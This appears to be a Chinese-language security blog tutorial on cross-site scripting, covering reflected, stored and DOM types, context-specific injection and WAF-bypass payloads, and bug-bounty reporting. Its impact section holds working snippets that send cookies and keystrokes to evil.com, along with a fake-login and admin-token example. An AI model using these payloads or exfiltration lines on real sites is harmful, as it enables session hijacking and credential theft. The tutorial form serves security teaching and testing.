XSS(跨站脚本攻击)从零到高手:把浏览器变成你的武器!

admin 2026-04-16 06:28:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统讲解XSS攻击从基础到高级的完整知识体系,涵盖反射型、存储型、DOM型三种XSS原理与区别,重点分析基于上下文的绕过技巧和WAF对抗方法,提供2026年仍可用的实战payload示例。文章强调XSS漏洞价值提升的关键在于证明实际危害,如窃取Cookie、会话劫持等,并给出自动化测试工具使用和修复建议。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具


cover_image

XSS(跨站脚本攻击)从零到高手:把浏览器变成你的武器!

haidragon haidragon

安全狗的自我修养

2026年4月15日 12:25 湖南

在小说阅读器读本章

去阅读

#

官网:http://securitytech.cc

#



今天你会学到什么?

  • 什么是 XSS(从最基础讲起)
  • 三种类型:Reflected、Stored、DOM-Based
  • 基于上下文的绕过技巧(进阶)
  • WAF 绕过(高级)
  • 2026 仍然可用的真实 payload
  • 自动化 + 手工测试
  • 如何最大化漏洞赏金影响力

为什么重要?

XSS 一直都在 OWASP Top 10 中,是最常见的 Web 漏洞之一

从一个简单的:

1. <script>alert(1)</script>

到:

  • 账号接管
  • Session 劫持
  • 恶意代码投递

👉 影响可以非常大


什么是 XSS?(简单类比)

想象一个学校公告栏:

1. 正常学生:
2. →写“今天有比赛”
3. →所有人看到,没问题

5. 攻击者:
6. →写“看这个的人把钱包给我”
7. →所有人照做

网站里也是一样:

1. 正常用户:
2. →评论:文章很好
3. →正常显示

5. 攻击者:
6. →评论:<script>偷cookie</script>
7. →网站执行了!
8. →所有访问者的&nbsp;cookie&nbsp;被偷

👉 XSS 本质:注入恶意 JS 并在用户浏览器执行


三种 XSS 类型


1. Reflected XSS(反射型)

1. 流程:

3. 1.攻击者构造恶意&nbsp;URL
4. 2.用户点击
5. 3.服务器直接返回参数
6. 4.浏览器执行脚本

示例:

1. GET&nbsp;/search?q=<script>alert(document.cookie)</script>

返回:

1. <h1>
2. <script>alert(document.cookie)</script>
3. </h1>

2. Stored XSS(存储型,最危险)

1. 流程:

3. 1.&nbsp;payload&nbsp;存入数据库
4. 2.所有用户访问时触发

示例:

1. <script>
2. newImage().src='https://evil.com/?c='+document.cookie;
3. </script>

👉 所有人访问页面都会中招 👉 包括管理员 → 直接接管后台


3. DOM XSS(前端型)

1. var&nbsp;search&nbsp;=&nbsp;location.hash.substring(1);
2. document.getElementById('output').innerHTML&nbsp;=&nbsp;search;

攻击 URL:

1. #<img src=x onerror=alert(1)>

👉 服务器完全无感 👉 浏览器自己执行


XSS 核心:上下文(Context)

如果你不理解这个,payload 会一直失败


HTML 内容区

1. <p>Hello USER_INPUT</p>

payload:

1. <script>alert(1)</script>
2. <imgsrc=xonerror=alert(1)>

属性中

1. <inputvalue="USER_INPUT">

payload:

1. "><script>alert(1)</script>

JS 字符串中

1. var&nbsp;name&nbsp;='USER_INPUT';

payload:

1. ';alert(1);//

Template Literal

1. var&nbsp;msg&nbsp;=`Hello&nbsp;${USER_INPUT}`;

payload:

1. ${alert(1)}

URL / href

1. <ahref="USER_INPUT">

payload:

1. javascript:alert(1)

WAF 绕过技巧


大小写绕过

1. <ScRiPt>alert(1)</ScRiPt>

无 script 标签

1. <imgsrc=xonerror=alert(1)>
2. <svgonload=alert(1)>

编码绕过

1. %3Cscript%3E
2. &#x3C;script&#x3E

关键字绕过

1. alert`1`
2. eval('ale'+'rt(1)')

无括号执行

1. alert`1`

javascript 协议

1. javascript:alert(1)

SVG 向量(非常强)

1. <svgonload=alert(1)>

如何提升漏洞价值

👉 重点:alert(1) 不值钱


1. 窃取 Cookie

1. document.location='https://evil.com/?c='+document.cookie;

2. Session 劫持

1. fetch('https://evil.com/?data='+btoa(document.cookie));

3. 键盘记录

1. document.addEventListener('keyup',&nbsp;e=>{
2. fetch('https://evil.com/?k='+e.key);
3. });

4. CSRF + XSS

1. fetch('/admin/settings')
2. .then(r=>r.text())
3. .then(html=>{
4. // 提取 token
5. });

5. 钓鱼页面

1. document.body.innerHTML&nbsp;=`<form>FakeLogin</form>`;

哪里找 XSS?

1. 搜索框
2. 评论区
3. 个人资料
4. URL&nbsp;参数
5. Cookie
6. Header
7. 重定向参数
8. 文件上传(SVG)

自动化工具


Dalfox

1. dalfox url&nbsp;"https://target.com/?q=test"

XSSHunter(盲 XSS)

1. "><scriptsrc=你的域名></script>

Burp Suite

1. 拦截请求→Intruder→批量测试&nbsp;payload

SVG 上传 XSS

1. <svg>
2. <script>alert(1)</script>
3. </svg>

👉 如果直接渲染 → XSS


修复方法

1. htmlspecialchars($_GET['name'])

安全建议

  1. 输出编码
  2. CSP
  3. HttpOnly Cookie
  4. 输入校验

总结

1. XSS&nbsp;=&nbsp;JS&nbsp;注入
2. Reflected=&nbsp;URL
3. Stored=数据库
4. DOM&nbsp;=前端
5. 关键=Context
6. 重点=Impact

作者经验

第一次发现 XSS:

1. alert(1)

被拒:

Self-XSS

第二次:

1. 偷 cookie

👉 成功拿到管理员 cookie

👉 奖励:$750


核心结论

👉 XSS 不难,难的是证明影响

#

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《XSS(跨站脚本攻击)从零到高手:把浏览器变成你的武器!》

评论:0   参与:  0